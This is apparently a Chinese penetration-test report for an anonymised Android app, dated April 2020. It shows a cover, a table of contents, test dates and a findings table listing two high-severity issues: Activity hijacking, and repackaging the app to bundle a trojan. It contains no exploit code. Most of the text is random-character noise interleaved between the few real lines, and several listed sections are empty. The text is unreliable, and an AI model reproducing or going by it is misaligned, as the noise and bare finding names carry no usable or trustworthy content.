: X. s1 y7 ^5 G0 w2 S' c# e Z" x5 _% R: H; x2 s
" j. ^0 T* y2 n5 Z; ]
3 ~1 p+ Z5 N& E% Z0 t9 W
4 ~- f8 K8 A/ T, w3 a6 N$ S1 {+ Z$ l' f. S2 C
4 f) p* t+ \, Y7 N
+ ?, |) q2 `0 ?$ J. C+ L( O
- B6 g! D* _* ~3 x8 W" j' \9 |+ N0 [2 E3 z# z0 Z4 g$ x3 E5 q
0 R4 E) B' O8 L# l
9 p8 o) [- {$ h+ N( N! [ 文档编号: {8 Q! ~* g- ?0 x5 H, q* B! H
) `* [7 @! |5 f$ m* [3 D) [5 q
; | m# |6 P# L
, I9 }1 m, y; _6 B1 { , q/ q7 C% X/ z% o( `
g. F) U( X2 y7 D; S 8 D9 ^2 x5 K& ^" b9 T
. G, b% ]; G8 X7 }1 H" M2 b8 L
; W1 c5 Z7 V! i& o: d. P/ ?: y- O
7 U& H, }4 }: o1 C8 O( K
( s) O7 s3 I! A8 w- p% r7 s" Q) C4 B# n$ y! L& o4 B
* f4 Q" J2 x7 `) x2 K0 t# m% F! Q0 [, I, L4 A8 G' Z% o
+ i# X& L$ R( y7 k# D7 b
! X7 W/ n( P4 _; ^4 }. g
& M5 B) D5 Q: F$ H" M% T" r
3 A2 e& ?" e8 `' g8 F6 l" @, y 2 F" z5 ] Y a7 ]7 J0 Y/ j, A
; |8 b) i% g% E
. U2 f5 ]* S3 d$ ~# I0 D
i- _1 U) j0 J1 V5 o
3 |7 c2 M+ Y, Q% @3 U1 M8 \. T' w, p+ I" N( w5 o$ { o N
" T, \0 t$ p! n4 e0 Z5 v, S
/ g6 |0 L2 O0 o5 `: k/ }! \
6 L, l9 S( D& Q G
4 L$ v) k8 d7 T" d
) _- l% d0 M" V$ k. y
; N# x4 P4 ?$ M0 B
# W8 [) _. Z9 F' f# x% Q% L5 X2 c( X$ t. V3 ^+ S. Z' a
3 }: j, Q# @3 f
% Q+ r* }% B+ S8 a: V# ]6 |3 ?- f
/ k- \- _: n! ~! r6 D* {
) r8 W1 Q3 R q1 E& A: B 某某某APP渗透测试 % u' M6 c8 C) T
" [. M7 L3 _6 P# W) a. P
% Q1 s% w8 X! [
- B/ Q' g" O; C( s( M! Y
) t3 c( f Z6 S8 Q# W5 Z8 i4 W& O$ [+ A0 {, @5 ` G
9 ^4 Y' |$ ^/ t- {6 _: g* H; i" a1 L; R0 }! r: J* m7 T0 U
4 _& n! P1 i0 Y4 j0 L& k- f- Z
7 A) W; F) [: f4 ?4 d, u
- h; t. [# F: M F& d
0 D" ^$ S# u9 g+ D1 A
N' x. `7 E1 |! t7 z0 ]8 _+ u( Y. M
2 n1 |1 H; b* d% p( l# W; v# J- H; X9 ]+ }9 U a7 n
1 `1 k z5 s+ Y0 [
' ~8 X- T5 ?" ?& \* W5 n4 y6 b+ y
' W* Y# j! @1 v: ~/ r
4 j, E2 H, g% ^ i8 e; I0 f- M
$ X9 h h, J4 _- N
- k. Q; Z) _* t9 C" B ) J6 s$ ?/ [+ O) u, ?( O% g
: d; A1 D. U7 S
" q2 ~/ M) Q; b/ b' _; {. _5 M7 C
, R, _7 p. n! f
9 j" r. y: o J4 U! D8 J+ X3 H' i. @! v0 O- L1 G% p& m6 D8 C9 v
# I7 s+ ]- J" `
" {; V0 { c# a& z 技 术 报 告
; ^! e: F: T- G7 u% s3 _
3 }( H* v6 D0 o! k; s6 T
. e! t& e# A6 r+ d3 M& l0 [# k$ t$ ~/ Q! G
) |9 R, W% ]& ?( y* k- |
$ v, y) T. s- v& c
' H5 P; X6 d3 t- M
: p u( B3 D( l7 t2 Y! z
( v# `8 F$ q, z& P: C
0 e& `! z a h3 j+ U3 f+ d$ L
1 A( ^" G5 O/ N( z7 _/ ~8 C6 p, c$ \3 u w9 [6 g2 g
: r+ s, _1 {# f
7 Z+ h" z: v) G2 c
0 F0 ~6 t Q9 s& H# Y5 j# D8 C; ~4 q1 u) i* S- M
/ B3 e9 `9 @/ Y
! [9 Q7 x \3 V5 J( e! X! P
0 s" q$ r. U9 ?! @ ^) N% Z) H4 A& O" [1 M0 K# c
" w% V& t4 T& T2 {6 j5 I D8 K7 a% i! `
2 u2 x2 ~# I8 H6 f9 V
5 e; Z% R! ^ N
& ~% [/ |; j; ]8 z
' g1 `7 K- U7 Z3 l
1 \' C4 e2 l& r2 I1 r
( n% E. F' M6 h1 o/ i% L
$ y `& X9 [( C: E, C
) }# C6 o* \0 T+ l5 I2 h
# W8 h+ ]. } [# X
0 M1 |; ]% C' a3 j5 u
% b$ ^1 i" W; B, \2 z S) ]+ S9 {( F! ^# Y# J O7 P9 k9 j
. M- z1 {2 ?" K6 V( ~. H; W, q. H( d
1 F" h% |# c, N( w" Z
* q9 b( C. Q2 J- X
4 I" ^: E4 M$ n: ?
; S0 R4 A: l! d" e
) z+ ~, y+ \6 X, f5 H2 N
0 U4 _% [; s( R
; g2 R& @' ?& N5 u
1 I6 S h9 K4 E0 V5 G5 O+ y# u$ e
7 L5 D+ T9 |6 c$ d* S' S$ t5 r
7 h% o. ~. M/ P' U# T6 ?* {; o
7 B+ x) c1 o* u
! N% u3 ]9 H) {$ ^" m9 b7 S
' s, c9 t7 f6 ]8 r' ]0 a
1 K: v* Q; h' K) t2 k/ N0 q- j; `6 h6 m& r c0 V
! E. |) M4 c1 d! k4 c
; H$ m" f: Q$ O8 D" H6 }& Q0 D - e2 k/ q3 [6 X6 y1 B- `- j, p' [% I) K
8 B' L" G) A3 J6 q4 _, s1 S+ {
N- S! H4 v# M, F/ R- S: W
* q0 I) A: B) C" {1 J
( [7 Q) u2 L- v1 x0 @* X5 Z- _5 ^. {% a/ p; U
. Y8 c# k* Y) |0 g/ Q6 E: K6 A7 U5 v% ?
: ?) b; Q! _: O
6 f$ c6 O$ ~- w( z0 f7 v8 P; \( h$ A" z
8 j) M1 W8 I0 j/ w$ ^0 Q4 P
2 j! I1 i6 g2 `: R. E8 ?
( B7 x8 f+ a4 a3 A" Z3 s' ~
. r5 i+ p/ K" b) c; o! d
8 ]$ h9 Z' a+ l
0 P0 L+ c+ O+ ?0 E" Y( ?4 E
0 F ]/ C4 @6 \' m0 F" F
3 `% N4 T! r; k* L5 _9 | U $ M4 F( S& ^ h; W+ V& s
0 \, `. ~5 a7 j2 [- Y
# P8 l9 }* r$ F( q s# B c+ `! }! d5 J
: v8 C( C% d9 e0 g7 d5 F! G8 _. H: g' m1 ?
% p" e4 v8 c* c. m, v
* }4 E: g- Z& x( H" ^ # ^7 O# N+ i3 r
' |" |4 z z: ~5 A: V( {
. P- z' r0 ~; E; w7 N- t9 k8 x9 }6 T& j
2 k7 H# v; B y% O
4 ]4 U l% q5 `# f( L# S
2 e$ D1 n" ^% X6 X9 X+ S' z% G5 Q5 z3 j, Z9 d6 Y$ V
p2 C# U4 t" c) r
) a Y R* H, n; a- {7 n3 o% w' i
# s: ]3 {, G! X t
3 s# l% a p7 R0 | & U5 H& q+ ^, Y* S& A: g4 m
$ o" r0 N0 x. Q6 J. k& c" l
8 S8 P# ]: C: b9 P v
" s& B+ v+ i7 ^% r ( r# X! H, z8 X% z" I
. b9 e, e/ g* X; A+ g" }/ H# o
7 G L. {" I4 \, `8 L# j- F: O8 S
$ [6 N/ v, }8 m1 K. ~! D7 p
8 G: Q/ C( O+ i# b& }
: J2 B+ L/ @- Q3 @
# t1 P! r& ^, k( v( L% P
7 M S; w3 q$ ~9 E3 {
& y7 Z/ U2 V& m' R4 ^9 h5 H M* J7 D7 S3 g4 b
: A0 p* b( _9 t9 f
0 V+ T" G5 C' O
# ^; }6 q0 i7 J, m9 c+ R
* f3 j7 p; g+ X3 b. ~+ L" @
W- E1 d9 O" n8 ]3 t/ Y2 i0 E8 T# I% l) \9 u- f# C
, t$ Y" v+ a4 U8 _6 z+ n* ^0 S. s
. b% o& M2 L. ^. m7 a% H, s
# b* I* o' F; W6 J3 p8 c/ |
. A" z2 {% I" p w3 b# @ 二〇二〇年
4 }3 I. M2 n+ q
. C6 v) M+ E# m6 s0 x. E
. A. x4 y9 l; m1 Q! B- T \5 }3 w' `* L# B% o+ [, Y y* B
; V2 X4 d, \4 W( x# R1 I( K+ \" I; m. u I% N% n- i7 P) N# f
( K* @0 Z3 v+ ]# j: ~
0 ~+ Q: r1 u$ A$ F
$ F5 |' C i! ~$ M
7 v2 T! g1 E; b3 t% E2 N: V # @: Q: Z8 o4 F Z; U
: W7 @- i7 n6 G, a
+ }8 U% n! l5 K9 o7 U& b
9 z# i6 Y0 k3 L* A& u1 n# }1 s
! T- _3 p6 n8 ^% S; I" J0 T/ C+ z/ S& _+ l2 z
$ v: r* ]. O) T: ~! \
3 U7 J& b! Y8 I& Y( p( f, I" G 8 ?. k1 i$ M3 x+ {; _2 L* u9 {
2 y2 j }9 j& I 8 K3 I& _: |$ \3 f0 S" J7 r
% D3 j1 l& ~; a: l- v
目 录
1 o1 i% @9 e- ^' p6 [% |; V( H$ J2 Q8 U% i# m3 |8 }& v
* R* ^' q$ a, O$ [
9 C4 c( ^4 k5 E1 M
8 _) d: u) p& ]% W6 V) t7 v
0 M/ ]0 z3 R) J+ t2 [ ' S" t+ b3 r2 z3 i
/ U5 z8 b7 ?4 O- _3 U
; B M/ }/ u; c0 c
& r( x' a5 j; `1 Z; x/ k, [' X
! B+ q0 e' F# O5 u
0 M! J6 H( D$ A/ g ( e d* U9 N, E/ A
" }9 T( u2 ]2 [7 W 1 概述... 3 8 s2 f V \: f- O: J
6 e% h- C' [' d+ v( Y: j
, l& S' O; f' C |0 U' {: p
# f$ B. h O( @6 r S: ~
4 v7 n( N9 E5 [! E
" S* w9 e- q( { 1.2测试时间... 3
9 V( l0 B d8 U% k2 k/ H
! c. W( C- M! t6 h) g
! h, q4 J- U+ L# H0 L
. ]; u% o# @$ H+ v
. l" Q6 a, R5 h% D, C# b3 w1 B/ `+ P6 V
1.3测试对象... 3 & | y' o/ c. z# I' r* t7 I
) z( m/ R d7 H0 T7 X
) r& h; s3 K7 I9 p5 M
0 O) W0 S' x+ }) e
8 s7 t6 s5 p+ l, I: l0 h4 s' ~9 ^# _2 _: J1 e+ ?$ @5 k0 n
1.4测试结果... 3
" B k3 W1 y& B# e4 N8 [4 s/ X
# C' b8 r* q/ z; ^6 p
; v# _: u. m1 \1 J8 P1 x- |
' c% i& E% N) P9 d ]
# a) u7 [: b) F8 t' z
$ E. E& _: C& M d t) v% l: S 2 检测结果... 4
! v. H0 e4 h7 o0 t4 Q
. Z* d$ F$ ?8 l7 r3 q6 M0 u
9 ^! h- C9 t& J
/ q3 [ m( D& a5 p k* c! y
7 b N8 D/ _% w$ j
3 G6 @' V6 X: s9 ^+ y" c 2.1 某某某... 4
1 O3 R9 a. V9 a( P. S( Q2 h3 e c" f
% o5 V0 t$ u$ g6 V1 K
1 L+ c2 }$ l: R# u, L
" k& L, ?9 S9 O3 s
; l. y4 o0 v6 U 2.1.1检测目标... 4
- @0 j9 E; k) `' w; z) O
4 M ^5 }4 p1 F+ m* k+ h# n
- H( d' b! |& ^. B0 \- m: b3 B
5 S! U# ?: H- a& I) a: I3 C
* W6 A; M" c$ A( R+ U( J# }
0 ^4 h6 N2 V2 l O" O, n7 k
2.1.2检测结果... 4
. T3 J a% N+ I+ R* d$ p1 F/ c( o5 P# n3 i& w: N4 f
* _6 w: y7 m6 X. X. n
. p- F @% C4 \0 n% k & _( ?( ]1 j2 _2 l$ J3 G0 k
" r# U5 Y+ B* |, h* k 2.1.2.1. 4
( @: k: q# O% K9 N. x! y; V2 ?' l, V$ @# e" \1 y6 |5 D' ?! _
8 x: d8 H6 \- N! h0 t* p) [" u, d/ l+ O( |
, k0 E8 X4 j* a' D
2 v8 c3 g% x! P: S* _2 D, r! @
2.1.2.2. 6 , K( [3 _+ \4 p5 K
, T1 ~, r1 X7 `; r
- J1 }, g; G- p' j6 B, y; ?# w! m6 S4 T, M. \9 t5 j
) x% a' l! q* r' L! U) t3 w0 G% h& \( O
6 I7 V4 {# X2 [% s( i& L8 i
; ^/ M. U5 O/ s: D5 P
6 V, q& h" k* |" i0 s1 K8 d; I8 j" d& B# j' P7 a
# O$ U" v) y" x
/ ?; r. [: e9 J" f3 n: C- q- T
6 p8 o+ P8 c! X: g' G+ t7 F
+ O7 q" m) q$ M \
; o `# A- g; O, O
: }" y5 U" \+ U, S j* c
7 X+ w |% M0 {6 Q3 \- [8 f I& z. n( a- f' m4 W" o8 G
7 L- G7 h$ l9 i) P9 `
. y" r. x/ l6 ~7 Y8 }2 \2 Q 1 概述 % N7 {3 o$ ^! @: X4 Z0 T7 A
$ U6 x) Y' A! k2 I: r& C
/ S, p4 i U1 B# }2 q8 k; ?2 p6 U7 C" @- h* J
0 c0 `6 k7 i% \, a) F) L
( }3 q6 O' s' S) J8 q9 s. v; M 1.2测试时间 : H4 T& Q1 j! |' h. W
- e& E0 I e8 }4 \- L
7 u( }* D2 x$ }9 S) l$ ^; z. r2 m
L, E( o2 E$ m& X3 D : @$ e2 B$ q( F* v
5 e: w+ d2 L4 z8 j , q1 E) @+ h# m
2 M9 T ~8 E3 U7 P& M" T; C
! Y3 ^/ l( K% @, G$ z c" I
! l- E1 z9 U8 e& C1 j7 Y7 s
| ) ^0 r' i5 f5 `
- D1 f! Z$ ? L2 `- |6 L7 |
1 P) J$ X/ H. ?( ]
' L1 G' C# \5 v A% B0 X 渗透测试时间 ' l& W3 N+ q% e) o6 N
1 r3 `( l3 j: X5 }6 E" O! F
% T' x. `4 t& R4 ^9 Y: F9 h$ _& q3 t1 g
2 p3 v; ]: s# s* i8 A* A) ]4 K | . u {6 s- n+ M. B4 ]- G5 c0 L
4 i+ \+ b" w, h+ i9 ~; \4 Q! U8 G
; s, Q8 {. `# D# f3 R$ R
" B1 `* f- x3 b: \
5 c% W4 z3 [3 c# p: W0 [" u6 E
: G/ L! [ l: M* [2 x8 P/ j' q& B | , {2 J. V; P$ l) S. S# L
7 L% l! q7 K/ N8 ^
% M! S$ M3 B* l! ^& y. ^
0 g: n1 u8 n6 ?4 Q 起始时间
' G A5 z) G' H; O4 ^
- [+ u' i V, X0 X* |! X
2 X5 O' f3 \% {& b
7 [2 m; e9 n" n |
. @! e# E! ]) h$ Y' o3 o% k6 k7 V8 O- p* v% G
7 \1 d4 c8 H- P+ w- V4 m1 f2 S3 i& l% g# C) Y3 u( k
1 b. B+ V; Q ~' l( {$ l1 x; I
2 n2 ~+ O9 F. }- u3 {
2020年4月6日
/ p4 Q8 H$ P; s- `( S) G$ O- U( Q! t' H1 t* ?5 k
6 t( ~! Z, b0 |* } ~) K( A, C: Q
" A1 @& f' H1 \7 b( Z | " h$ j* a. d. G) [1 l
0 d; E9 @+ `; u$ v9 v* k% k
2 q4 U. X2 Q; {5 R R7 k
& Z: D1 U6 u5 K5 o) a0 w
" |0 E2 c5 @& h$ n% y0 v
' R7 B- {$ M4 [# N5 G* U |
. s9 l- F! x o1 `' s Q1 A( H9 ~0 s2 c% A3 q& |! o4 {
# y. l" l2 z: a/ H/ U
o! L _+ X( q4 t4 {# c
结束时间
6 B; B1 A, h8 T6 r' I3 D p
2 { [3 W. g2 V9 ^) v 7 O9 F4 l ^( o4 o Q
2 q3 L X! K9 u8 P; E/ K) t
| 3 F, f* h0 K, l; ]
, y4 |8 r3 u) d/ z7 W+ @* v$ L
- y& ^5 d& H4 d# `5 H3 u
- @ _5 v( N- E6 |& s
# Y3 v. N/ G1 k* x& H3 U/ S0 `
1 N. w" |( ~4 m6 L3 D: D& b8 P 2020年4月9日
6 r+ b. B% G n! v& E! }
' i t5 t8 ]1 h' D7 e% |" F1 Z2 j , m1 z8 {) w% T- n5 s
) \ O9 {( ~/ x5 j6 }7 P, \ | - F O5 B2 S1 P
" }% N: Y. b$ Y8 U
5 M# ?0 v- B( K$ @( k
" `3 H8 {/ |) ?) x
7 b; n! W5 l4 `4 c F, ]. L; _: J& `% h4 w7 c1 p
) Q( u+ J. b6 x9 X' j* C* X6 V# ~3 U% P
! M' Q" l7 t; G* c
- n! Y5 _# Q6 u- j5 J' S7 o0 O& J& K
1.3测试对象
* H4 h! q: e% {' R/ K8 p6 a. |# x# K' A8 d+ y" y6 |
' O: N, b; w, n3 f' P
) o# L+ J2 A" n/ p+ n8 p
$ v& n( D! G$ b: B3 ^" T9 K0 Y6 S/ t# H* M; F1 p. d8 I
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ; `# f3 N; M( G) r& Q: l5 T
' I+ r- t9 R \* t1 D
# g) G3 h! @! ]8 @0 i* `. L
; r0 J* n2 O' T! I! \" y% A. ^2 E
. K3 L" d+ B$ p2 R" H; E. `. F# d! x) n
表1-1 检测对象 t; ~. |: ?6 S% R
# L% W5 N. H! D- ?, m
. ^* @( n5 [. U" t! K, d ^) }% m) n4 Z6 v
3 t4 x" {) U$ E1 f/ b5 S% F {+ J, C2 x5 t7 W2 W) J8 x$ U c, f# I
8 m) k& W2 b Y$ D
% [4 f% H6 P- Q, [/ g6 z6 O 9 ~* b6 ]) F+ G& [4 k% s7 h; X& n3 @
4 l) t# g/ _2 {8 R, n6 c |
' G3 z% @' X. L, V& q
' y$ u) J J7 w' D 0 [# I: w, e. d& o4 ~0 f& F; U
0 F2 \' Q% G, m% K# R9 E" b2 T& |( X 序号 6 u- f) ^$ e- {; P/ D; m
2 _6 L) s0 n) S9 @ ) d6 S# |3 n+ S; L0 \3 ?# }0 F
6 q! y% l4 P; x9 X, [) \/ c% n/ k
|
$ W) H# Q* G) s5 _% S ^. R5 E) k# d1 h) l" N' @/ s
$ h* q2 W0 V: E6 F6 \$ g7 C: ]! Q0 B# U9 A# L1 [
( S' ~% s) x+ F+ b5 u
* m) s" l+ \4 B+ F# N% Q. r, Y 测试对象 + ]9 {( U0 J, T: W: _) W, p
, ~6 e4 V0 g1 P- o/ m0 h
* g( \4 ?5 o; A' L) {
; T. R+ ?% Q/ | |
* A, g. E- l1 r3 |5 e7 n4 @
\) ~8 E6 A5 ` F. x 0 F2 Q/ W, e! U+ I
+ x0 x6 Y3 ~& ?8 T/ F& |
3 g2 V/ J6 F# Q
" O6 G0 N# s; {" p 测试地址 5 N$ a/ Y# ?& X% ~* _4 W& \) B
8 {2 X7 N8 [0 h7 v8 M: r: z $ j( i9 V* O* S4 p# }2 L" h1 V
" m* N# I. ~0 e3 O2 S$ s* |
|
4 s' `' u' I6 b4 |" g. x" B
+ u: [3 D4 b! b ) m6 I4 \! Z* i: M
: Z! D) k. A O3 S' C) B% ~
% v$ F# u! I1 ~* i% U# \# X( N! }& u
安全漏洞
; g; j: o# [, ~0 a1 N7 X, M+ |7 B3 E% m2 Q
6 A4 l8 n% q# j. t
9 @7 n9 s& _; D3 C( W
| 3 Y9 ~0 ~. i4 i2 N2 Q
4 s; ]* D( f4 I# |2 i) n
0 L- W7 I* {, R, g2 j5 r# h
) ^, a- o/ q' e4 O
& |, T' Z! q. M0 ~' D" t+ h; x. L* L6 Q& V
5 f# j+ o, n! r) g O) u
| $ x* }! P4 W5 S; Y) y
# }; h% n) J' G* ]5 V8 x4 @
4 E+ s" k2 i- U1 ]
" U5 \$ H- S# O2 V4 U# T7 i 1
L$ y, m- M- |2 O
% r: A* k, I6 t . W: m3 l! x; v$ m1 P( w0 I0 G
* t2 O1 e& i! p+ j& D# q, h1 a
| 2 ]1 H# l9 W5 H, U+ X% W: y
4 q! L/ G% j8 f1 D- }5 |% n. H! {
5 e( _ V5 u3 T. D6 m" p
8 k- l% c# F0 y; A, z/ P5 N 8 s& w8 R3 a) O- a% _9 t
; k* J. S0 b; v; d, e
某某某安卓APP
: v! x3 M2 l3 F% s; I
8 D+ h8 N# F/ p; a0 f0 j) ]
; v& H8 H8 J0 L9 S7 l* [7 b
D" c. @9 u. s' _7 O, V% x | ( c" l4 F4 Y; x* |
+ v" Z% U: b0 r$ T. s" ?
* _! O x4 Z7 N! Z3 A8 }7 }8 m# {; }- G; u- H% A
, i7 ?4 @6 `* V0 e; v' w( ]$ {7 H4 q* g3 V3 z! f
& C- ]+ M- M) g. C% G7 n
- y2 ?2 S! Z2 w1 L
g6 O' E# O+ o& J) K3 o0 [
6 y2 L h/ g4 a5 j |
6 C+ l, x- S+ S; x0 c, L7 F" r: V! T& _7 |( x/ `
; ]2 \$ o8 Z- l5 Y- J$ n( n
7 A: z5 {, e) R* `* `, \+ I
( H0 Y8 l, P4 ]: A/ \% Z9 _+ i: G4 p7 {$ }9 V
2 ' N z }0 R! \0 }: d
. }4 S& _+ W5 E' {6 V; ]% p8 ?. d
3 |) e1 _+ ~+ j: a; d; P; d3 G! E( J! i% s4 F
| ' C4 |, S( i. I0 j2 X. Y
4 @. _8 G( N3 j1 p3 Q1 X- v: I8 O
5 U, x5 ?+ n" \0 B; Y% P2 }
% F6 x3 q# |7 b0 |. H# d1 `2 V
. x9 j2 O: k! ?& r& q# E# V3 k- Z2 z# G7 _& ?. i
6 `/ u: {4 u/ i$ b% W9 v+ _) U9 G
6 p! _: a7 L( \5 ]8 f/ D; Q; I7 \7 T
: A# g/ Z& e) ]9 v6 A4 g 1.4测试结果 2 G1 n0 a: |* p
: u3 _4 R9 w0 @, i
0 N3 u% n) h# t' j/ @, p# q# N) w/ s
% R$ I- B9 v$ j/ @/ O$ d A
' u9 R6 \" q/ U7 T* ~; s8 D# o9 h/ h+ o! ~+ H# h6 }- D
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 5 q% Y6 X8 {/ P% p2 n
3 y7 u' l" Q8 [/ B
- j. t, `. ]$ t- r
- ?7 c8 X2 e7 j4 H. h, `( y5 v
7 W3 E; g% {; N' C
$ J$ u, `2 O# L. R
, r2 a9 J3 {) h. S
J2 o- b8 W6 r) k7 e8 ^
( U! W/ W& J* [0 r9 ]7 b
s- s6 H# U" U4 {
3 \2 l2 A$ Q A- b4 U6 O" m/ r+ e1 ~2 L
: j' ?' }5 T& t# [9 {, C4 D7 K6 O& y
: t3 g, _+ w$ y! X5 N1 A5 b$ {- E
( j/ k# M. I, l# ?7 {' J
& Q0 k8 d" M5 V$ X: n% q, _
* j |8 T% K8 ?4 T
2 \# U) j5 ~8 w) n: t& A6 R | ' j8 u, E7 B0 Y2 V
2 N' S: }9 ]. Y8 h5 B. K) k
- f1 q+ j1 [6 D0 g g! L5 X1 s. `% E; `) z5 y6 G
序号 . Z" N' S/ }. e$ f1 h# C9 O
# [- X" @5 K% G/ I. K
% Z* G1 C3 x2 ~. U- T
; y3 d1 N% I+ _( C |
& T% _9 r/ [$ b2 m8 j7 v$ K1 s7 U! t( ^6 U& q Z( Z
7 W, x! e1 M8 i8 M w j
( r) n% g3 t4 a' F1 e3 ^
: |! b7 g5 c3 q7 \* k+ D+ s. L) D$ `% Q8 A% |* X6 Q
系统名称
+ j+ D7 o7 \. T
% J+ R0 y5 | _* R% a) a! @2 V
+ t D' ?% b% g7 Q0 V ~! @
) H; K* K. x8 \! r- }& o |
. u; L6 E8 b0 }, Y( h* R
1 Y. _5 j) }- [, @$ w. v4 W
+ [6 _& \8 r( k, e
2 G, x+ E! K6 }" k B9 x , e0 @0 q% z& E1 e$ \* @
9 E( C3 y4 W. R7 u9 n 漏洞名称 2 _# W; t" f% H6 N9 j: ?5 I& q6 e
% \- {' e( T6 i7 X9 t) _
( p! ~5 o+ I9 H& ^0 c" [" p
- w s& c T$ B& `+ C7 z |
6 H! W( ^; Y2 U( B+ ?! C& i5 s& ^3 [' t
( W+ d. F+ ~$ W4 J0 K0 R9 Z$ p2 R" u* G7 r' e; u
5 G/ a+ L) v$ d
- Y8 d/ q1 ~- M" s 漏洞危害 : X$ X+ I$ D7 h& @' |' d3 Q
! J# p4 e4 a( X# h" [2 B1 m+ s# z
9 k+ }- r! f9 ^5 F0 x: Y
. M5 ~$ f1 I% S# ~, p |
]# M" c f8 d& S" c4 \6 X( T0 a! H R6 j0 Q
7 i! w, l% d S; X; R7 C% }; w3 {4 c4 q8 ]: ?; p
% ~5 Q% h9 n# I- A& ~) b. i
, H' l. ^; H9 s" v+ G 修复结果
1 _% i- J' D" ~3 T3 R: h! Q0 G9 v z
5 E! j& R3 B# g4 K* l ( ]* k, A7 D) \2 t
# _) p+ N+ W* X+ M# E |
5 e/ p8 q7 y0 @) d0 j |- `3 u& w1 ^# X2 M& F, @
7 l: V! t J- C& |/ T+ ]
* [9 d! E# K4 T- p: k: e " i( f! ]& c- Q0 p( ]3 v
0 M) E* {) ]2 d5 f' H
|
5 X4 W6 d. {/ Z2 q/ p' y
: k$ Q' v7 K. J. @* o6 M 5 b2 H* x4 N( s6 D2 |/ _ A/ l
& _! A/ w$ E; Q2 F( R; G 1 + }. J/ d! h! \% q! G
* i/ ]* C0 p- |5 S2 e, \3 [1 e+ }
v# H9 u0 @" V
; W3 D0 G) N: o3 \9 X9 B |
- \& d- Q: X7 R2 h4 ?* o
; {/ X7 Z( w( a' j- ]& H# A ( n6 e# Q. I7 w: x" F0 X$ i
5 e4 G$ i. X p* x
8 Y* M& u; b* g/ b' R2 B" t* e: f
, ^2 u( b/ c, T o 某某某某某某APP ) |; T2 @$ Q! K! L0 k$ L
% d9 a. v ?1 W$ \
1 S/ Y! Y- t7 Z
& z V4 _3 T. s
|
4 R+ w! T5 Z/ G; x0 |' \9 Z- }& Y' i& g$ b8 |7 R' K# C& O
7 ^' a' U/ O3 t! R
5 h0 N' Z3 B D. Q# |2 b
& f3 l/ I$ o# f/ y- G4 ?6 N5 u% N
! ~* t+ @) P0 |/ A( F9 Z Activity 劫持 1 G. f2 ^& q, y+ _0 _2 Z
' t% A% w! d0 O* b8 w $ |; Z. j! W% l1 i7 ~
; A3 z ?; W; Q9 u
0 c3 \) ~* j7 w5 @$ T3 y
5 D0 `- q/ K. ~, H* }- C# E, K # _3 P% ~- l L7 D. C
. \, R; l5 L$ p- [4 F5 M+ E
2 Y" b( R0 j7 b: c
~" Q. H1 Z } | ) P, X5 S4 d& `; u- g+ h+ ]
; D7 B0 ~3 @: C
@( m" [- a, m* ?+ J2 C% r
9 V3 H. y1 K3 N- _& w& ~ 7 Z5 ^" s2 b1 Q z) M
: _" f' M8 w z 高
1 _1 X; j3 I, C3 `( y' i# K9 i: n! z7 m
) v% B9 ^- D# v( D: \
7 T& G+ i# E, t0 m( x& k: X! @ |
0 g) i( H- h2 Y
6 \1 a& p$ @9 ?$ Y 1 y8 j8 U* p9 n" U; N Z) {
) P# `3 H- ~+ I/ t4 _$ w7 }) T# _
$ Y- d/ w0 m2 H1 ` Q1 k/ o, T& {6 z. ? O3 F# P `
4 J4 y, u2 T, r6 S
" d9 d" @. Z$ R) i5 v
: r U6 d# c4 [7 B/ U2 [
# J8 f* _) C6 k) d3 M | ( `: D# F3 {( s& N3 s( }1 G ]
. {1 |1 ~0 w$ \$ o# @* O
' G, ~+ `; z1 `2 N. o% B# C
8 J. T, ?! y; g/ f' z- v* A9 _
& V! B, y* U% p5 m" d6 U$ }
1 h/ v! ^2 t. a0 @6 ~* c2 f) } |
0 S; e7 K( [. u. u( V8 P& E; Z
( Z# {! ~" \) f3 w) r! j2 j2 @ . {" ~1 ^" T, R+ Z9 m: s
, T4 ~0 A7 L6 s( V 2
/ Z, d( v$ H5 ]; A5 v9 O4 z, G# T$ l( S3 u6 Y
# L, R$ f( M( a* \
# T: Q0 J. A: S |
! j7 u9 f$ X% [8 z* ~
6 J/ c/ V- i) q2 ^
3 Y4 A' w L% u. ?) B! F
1 w; X; h+ [" e& H: G* y* T0 {
( X; `+ r' b' C
/ p, W8 {; t1 a% u& J2 K8 D5 m 某某某某某某APP
6 \- v5 ~& m: {( u7 d
T5 \9 @1 }; k$ @) j- h
7 W9 }4 M h2 u; D* g# L% r/ s0 w7 ?8 ~! X, z
| " E% ~0 m# @) V& D5 z6 w# o
3 u; F m& }& \! x0 N( i" x6 I$ s" \
' `, o6 G! x; l7 @9 P' A
# A. X, q p( U& b- q) j7 X & e+ \4 L: C7 |- b& N* y
; P9 G5 b3 X9 L+ x. ? v- i$ ^
反编译二次打包捆绑木马、篡改APP代码 3 D, K5 Q3 R) C0 h5 D2 c
* E3 B2 x# j# _$ z; h
% {3 _& p% u- `2 r+ o5 d- U
" }4 F: v. A' c5 _. D |
# g4 I1 x; R+ J' R9 Z5 [9 J+ u D" y) i- K+ `
6 C1 C. ~( d+ A4 s
- X& u, V* X) d& K+ g$ { " P$ |" q( p/ l* A& V
- V( w" V: |& `1 u5 v5 I; r 高
* U7 D# c6 j/ o* |' c; f, S6 I: B; i* U, c1 f
% u1 j/ Q. @5 o5 J: Y9 @1 L. i6 i9 L) e. |% A
| 6 l% A0 h/ x; M& | M& U
" Z7 T0 u6 Z9 ^9 a. h$ B- Z/ s
O% [3 v: h" ?% C6 Q8 M# n% ~$ X4 A. H, j l0 y
- W: d- f4 ]6 E& V# c0 M k5 r/ p
& l" ]/ P2 o& |* N7 g7 \. i
: n' B' l4 @ R
+ h' F' i0 X6 e/ D* n! \
# n1 e" J7 R# u' p- I7 |; U! \5 }7 _
| 6 R! v' W; I5 T' m
1 |" E. E7 S; V' F" m: I* R' n
- J* ?* {) X4 G% g
! G7 E g! x$ g0 x' G) l
; c0 F; s: P0 V6 d5 ?! m$ r: c
, T$ h' o9 i: @ r3 c
& p: A( i9 B, Q1 R* Z
3 {$ f9 q7 b4 t
0 q5 Z/ V, w6 L. t; b# ^' ~ N% W
' r8 Q& {8 a2 ~- r- ?8 d/ z* m
6 B4 s* c+ |/ z' H$ t# d$ Y: O# s/ F2 o) F
/ n% q" b( c* \% |# X/ U' _- c. {8 E3 ?( B5 e4 _* u$ h! P$ D
$ V; |2 ~8 G0 V( P p- T' c. X
